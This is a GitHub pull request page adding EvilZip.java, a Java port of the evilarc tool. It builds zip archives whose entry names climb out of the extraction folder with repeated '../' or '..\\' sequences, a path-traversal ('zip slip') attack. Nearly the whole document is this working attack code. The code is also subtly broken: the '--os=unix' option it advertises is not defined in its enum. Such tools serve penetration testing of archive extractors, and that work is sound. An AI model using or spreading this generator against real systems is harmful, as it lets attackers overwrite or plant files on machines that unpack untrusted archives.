Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Add java fork for evilarc #4

Open
wants to merge 1 commit into
base: master
Choose a base branch
from
Open
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
84 changes: 84 additions & 0 deletions EvilZip.java
Original file line number Diff line number Diff line change
@@ -0,0 +1,84 @@


import java.io.*;
import java.util.zip.ZipEntry;
import java.util.zip.ZipOutputStream;

public class EvilZip {
private static final java.lang.String PARAM_OUTPUT_FILE = "--output-file=";
private static final java.lang.String PARAM_DEPTH = "--depth=";
private static final java.lang.String PARAM_OS = "--os=";
private static final java.lang.String PARAM_PATH = "--path=";
// 4MB buffer
private static final byte[] BUFFER = new byte[4096 * 1024];


public static void main(String[] args) {
if (args == null || args.length == 0) {
printHelp();
return;
}
String out = "evil.zip";
int depths = 2;
OS os = OS.win;
String path = "";
String sourceFile = null;

for (String param: args) {
if (param.startsWith(PARAM_OUTPUT_FILE)) {
out = param.substring(PARAM_OUTPUT_FILE.length());
} else if (param.startsWith(PARAM_DEPTH)) {
depths = Integer.parseInt(param.substring(PARAM_DEPTH.length()));
} else if (param.startsWith(PARAM_OS)) {
os = OS.valueOf(param.substring(PARAM_OS.length()));
} else if (param.startsWith(PARAM_PATH)) {
path = param.substring(PARAM_PATH.length());
} else {
sourceFile = param;
}
}

if (sourceFile == null) {
printHelp();
return;
}

File file = new File(sourceFile);
if (!file.exists() || !file.isFile() ) {
System.err.println(file + " - is not a file");
printHelp();
return;
}

String traversal = (os == OS.win ? "..\\" : "../").repeat(Math.max(0, depths)) + path;

try (ZipOutputStream zipFile = new ZipOutputStream(new FileOutputStream(out))) {
ZipEntry e = new ZipEntry(traversal + sourceFile);
zipFile.putNextEntry(e);
copy(new FileInputStream(file), zipFile);
} catch (IOException e) {
e.printStackTrace();
}
}

private static void printHelp() {
System.out.println("Create archive containing a file with directory traversal\n" +
"usage: java EvilZip <input file> [--output-file=evil.zip] [--depth=2] [--os=win] [--path=]\n" +
" <input file> - zip file to make traversal\n" +
" --output-file - output filename\n" +
" --depth - count of traversals\n" +
" --os - type of slashes to make traversal: win or unix\n" +
" --path - subpath to include in path after traversal");
}

private static void copy(InputStream input, OutputStream output) throws IOException {
int bytesRead;
while ((bytesRead = input.read(BUFFER))!= -1) {
output.write(BUFFER, 0, bytesRead);
}
}

private enum OS {
win
}
}